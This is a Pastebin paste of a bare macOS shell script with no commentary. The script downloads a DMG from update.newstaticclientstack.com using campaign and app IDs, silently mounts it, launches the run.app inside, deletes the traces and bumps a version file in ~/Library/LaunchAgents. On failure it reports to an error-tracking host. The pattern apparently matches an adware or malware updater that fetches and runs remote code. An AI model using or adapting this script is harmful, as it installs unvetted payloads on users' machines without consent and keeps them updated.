Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- dmg_domain='http://update.newstaticclientstack.com/mupdater'
- dmg_name='run.dmg'
- campaign_id=2455
- app_id=65515
- ver_file_path=~/Library/LaunchAgents/shopy-mate.ver
- ver=`cat $ver_file_path`
- dmg_url=$dmg_domain/$app_id/$campaign_id/$ver/$dmg_name
- tmpfile="/private/tmp/$RANDOM.dmg"
- curl_text=$(curl -sI "$dmg_url")
- response_code=$(echo "$curl_text" | grep "HTTP/1.[01] [23]..")
- exit_code=$?
- size=$(echo "$curl_text" | grep 'Content-Length' | sed 's/[^0-9]//g')
- dummy_size_threshold=100
- if [ "$exit_code" -eq "0" ]
- then
- if [ "$size" -gt "$dummy_size_threshold" ]
- then
- curl -o $tmpfile $dmg_url
- mount=`hdiutil mount -noautoopen -plist $tmpfile | grep -o '\/Volumes\/[^<]*'`
- open "$mount/run.app"
- sleep 10
- hdiutil unmount "$mount"
- rm $tmpfile
- value=$((ver+1))
- echo $value > $ver_file_path
- fi
- else
- curl -s "http://errors.newgenstatsnet.com/mac-error.gif?msg=updater404:campaignid:$campaign_id:app_id:$app_id:ver:$ver&funcName=updater404&errtype=update_tmpfile_didnt_exist"
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement